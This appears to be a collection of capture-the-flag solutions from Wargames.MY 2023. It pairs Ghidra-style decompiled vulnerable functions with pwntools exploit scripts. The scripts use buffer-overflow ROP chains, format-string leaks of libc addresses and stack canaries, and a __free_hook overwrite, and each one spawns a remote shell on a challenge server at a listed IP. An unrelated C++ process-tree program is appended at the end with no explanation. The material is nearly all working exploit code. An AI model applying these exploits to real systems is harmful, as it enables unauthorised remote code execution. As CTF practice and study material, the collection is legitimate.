Wargames.MY 2023

void open_the_door(void){
  int iVar1;
  char local_18 [12];
  int local_c;

  initialize();
  puts("Welcome to the Magic Door !");
  printf("Which door would you like to open? ");
  __isoc99_scanf("%11s",local_18);
  getchar();
  iVar1 = strcmp(local_18,"50015");
  if (iVar1 == 0) {
    no_door_foryou();
  }
  else {
    local_c = atoi(local_18);
    if (local_c == 50015) {
      magic_door(50015);
    }
    else {
      no_door_foryou();
    }
  }
  return;
}

void magic_door(void){
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;

  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  puts("Congratulations! You opened the magic door!");
  puts("Where would you like to go? ");
  fgets((char *)&local_48,0x100,stdin);
  return;
}

from pwn import *
#io = process("./magic_door",aslr=False)
io = remote("13.229.222.125",32837)
libc = ELF("./libc.so.6")

# gadgets
entry = p64(0x401190)
popRdi = p64(0x401434)
putsPlt = p64(0x4010e0)
putsGot = p64(0x404018)
ret = p64(0x401388)

io.sendlineafter(b"Which door would you like to open?",b"-4294917281")

# leak libc and restart binary 
rop  = b"A"*0x48
rop += popRdi + putsGot + putsPlt + entry
io.sendlineafter(b"Where would you like to go?",rop)

io.recv()
libc.address = u64(io.recv(6).ljust(8,b"\x00")) - libc.symbols["puts"]
log.info("LIBC BASE: " + hex(libc.address))


io.sendlineafter(b"Which door would you like to open?",b"-4294917281")

# I have to add a ret gadget to my rop to make the stack 64 bit aligned to prevent the movaps issue
# more on that here: https://ropemporium.com/guide.html 
rop  = b"A"*0x48
rop += ret + popRdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols["system"])

io.sendlineafter(b"Where would you like to go?",rop)
io.interactive()

char * main(void){
  int iVar1;
  char *secret;
  long in_FS_OFFSET;
  char local_3e [9];
  char local_35 [10];
  char name [12];
  undefined local_1f [15];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  initialize();
  secret = getenv("SECRET_MESSAGE");
  if (secret == (char *)0x0) {
    puts("Error: SECRET_MESSAGE environment variable not set. Exiting...");
    secret = (char *)0x1;
  }
  else {
    puts("Welcome to Pak Mat Burger!");
    printf("Please enter your name: ");
    __isoc99_scanf("%11s",name);
    printf("Hi ");
    printf(name);
    printf(", to order a burger, enter the secret message: ");
    __isoc99_scanf("%8s",local_3e);
    iVar1 = strcmp(local_3e,secret);
    if (iVar1 == 0) {
      puts("Great! What type of burger would you like to order? ");
      __isoc99_scanf("%14s",local_1f);
      getchar();
      printf("Please provide your phone number, we will delivered soon: ");
      secret = fgets(local_35,100,stdin);
    }
    else {
      puts("Sorry, the secret message is incorrect. Exiting...");
      secret = (char *)0x0;
    }
  }

  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return secret;
}

from pwn import *
#io = process("pakmat_burger",aslr=False)
io = remote("13.229.222.125",32874)
libc = ELF("./libc.so.6")

#secret = b"1337"
secret = b"e31c8306"
io.sendlineafter(b"Please enter your name:",b"%15$p%13$p")
io.recvuntil(b"Hi ")
libc.address = int(io.recv(14).decode(),16) - 128 - 171280
log.info("LIBC BASE: " + hex(libc.address))

canary = int(io.recv(18).decode(),16)
log.info("CANARY: " + hex(canary))

#gdb.attach(io,gdbscript="break *0x5555555554fe")
io.sendlineafter(b"enter the secret message:",secret)
io.sendlineafter(b"order?",b"abcd")

# gadgets found in libc
popRdi = p64(libc.address + 0x2a3e5)
ret = p64(libc.address + 0x2a3e6)

rop  = b"A"* 37 + p64(canary) + b"A"*8
rop += ret + popRdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols["system"])

io.sendlineafter(b"soon:",rop)

io.interactive()

undefined8 main(void){
  int local_c;
  
  initialize();
  do {
    displayMenu();
    printf("Enter your choice: ");
    __isoc99_scanf("%d",&local_c);
    if (local_c == 3) {
      drinkJuices();
    }
    else {
      if (local_c < 4) {
        if (local_c == 1) {
          chooseJuices();
        }
        else {
          if (local_c == 2) {
            refillJuices();
          }
          else {
LAB_00100fff:
            puts("Invalid choice. Please try again.");
          }
        }
      }
      else {
        if (local_c == 4) {
          puts("Exiting...");
        }
        else {
          if (local_c != 0x539) goto LAB_00100fff;
          secretJuice();
        }
      }
    }
    if (local_c == 4) {
      return 0;
    }
  } while( true );
}

void chooseJuices(void){
  int local_c;

  displayAvailableJuices();
  printf("Enter the number of the chosen juice (1-5): ");
  __isoc99_scanf("%d",&local_c);
  if ((local_c < 1) || (5 < local_c)) {
    puts("Invalid selection. Please try again.");
  }
  else {
    chosenJuice = malloc(0x114);
    if (chosenJuice == (char *)0x0) {
      perror("Error allocating memory");
      exit(1);
    }
    strcpy(chosenJuice,availableJuices + (long)(local_c + -1) * 0x114);
    *(chosenJuice + 0x100) = *(&DAT_00302120 + (long)(local_c + -1) * 0x114);
    strcpy(chosenJuice + 0x104,s_Orange_00302124 + (long)(local_c + -1) * 0x114);
    printf("You chose %s juice.\n",chosenJuice);
  }
  return;
}

void displayAvailableJuices(void){
  int local_c;

  puts("Available Juices:");
  local_c = 0;
  while (local_c < 5) {
    printf("%d. %s\n",(ulong)(local_c + 1),availableJuices + (long)local_c * 0x114);
    local_c = local_c + 1;
  }
  return;
}

void refillJuices(void){
  if (chosenJuice == 0) {
    puts("Please choose a juice first.");
  }
  else {
    printf("Enter the quantity to refill: ");
    __isoc99_scanf("%d",chosenJuice + 0x100);
    puts("Juice refilled!");
  }
  return;
}

void drinkJuices(void){
  if (chosenJuice == (void *)0x0) {
    puts("Please choose a juice first.");
  }
  else {
    puts("Enjoy the refreshing experience of your chosen juice. Cheers! ");
    putchar(10);
    free(chosenJuice);
    chosenJuice = (void *)0x0;
  }
  return;
}


void secretJuice(void){
  // option 1337
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (chosenJuice == (char *)0x0) {
    puts("Please choose a juice first.");
  } else {
    puts("Let us know what juices you need and we will get back to you!");
    __isoc99_scanf("%256s",local_118);
    printf("Current Juice : ");
    printf(local_118);
    strncpy(chosenJuice,local_118,0xff);
    chosenJuice[0xff] = '\0';
    putchar(10);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

from pwn import *
#io = process("./free_juice")
io = remote("13.229.222.125",33156)
libc = ELF("./libc-2.23.so")

def chooseJuice():
    io.sendlineafter(b"Enter your choice:",b"1")
    io.sendlineafter(b"(1-5):",b"1")

def secretJuice(a):
    io.sendlineafter(b"Enter your choice:",b"1337")
    io.sendlineafter(b"you!",a)

def drinkJuice():
    io.sendlineafter(b"Enter your choice:",b"3")

chooseJuice()

# leak libc
secretJuice(b"%13$p")
io.recvuntil(b": ")
libc.address = int(io.recv(14).decode(),16) - 271 - libc.symbols["__isoc99_scanf"]
log.info("LIBC BASE: " + hex(libc.address))

# cheese the chall
# overwrite __free_hook with system
system = p64(libc.symbols["system"])[:-2]
freehook = libc.symbols["__free_hook"]
log.info("system@libc: " + hex(libc.symbols["system"]))
log.info("__free_hook: " + hex(libc.symbols["__free_hook"]))

for i in system:
    formatstr  = b"%" + str(i).rjust(3,"0").encode() + b"c"
    formatstr += b"%8$hhn"
    formatstr  = formatstr.ljust(16,b"A")
    formatstr += p64(freehook)[:-2]
    secretJuice(formatstr)
    freehook += 1


secretJuice(b"/bin/sh;")
drinkJuice()
io.interactive()

#include <bits/stdc++.h>

using namespace std;

class Process {
    public:
        int pid;
        int ppid;
        int mem;
        int totalmem = 0;
        vector<Process*> children;

        Process(){
            pid = 0;
            ppid = 0;
            mem = 0;
        }

        Process(int a, int b, int c){
            pid = a;
            ppid = b;
            mem = c;
        }

        int memUsed(){
            if (totalmem != 0){
                // this has alr been calculated
                return totalmem;
            }
            int total = mem;
            for (Process* child : children){
                total += child->memUsed();
            }

            totalmem = total;
            return total;
        }
};

int main(){
    int n,q;
    cin >> n >> q;

    int a,b,c;
    unordered_map <int,Process*> hashmap;

    for (int i = 0; i < n; i++) {
        cin >> a >> b >> c;

        Process *current = new Process(a,b,c);
        hashmap.insert({a,current});

        if (b != 0)
            hashmap[b]->children.push_back(current);
    }

    int pid;
    for (int i = 0; i < q; i++){
        cin >> pid;
        cout << hashmap[pid]->memUsed() << endl;
    }

    return 0;
}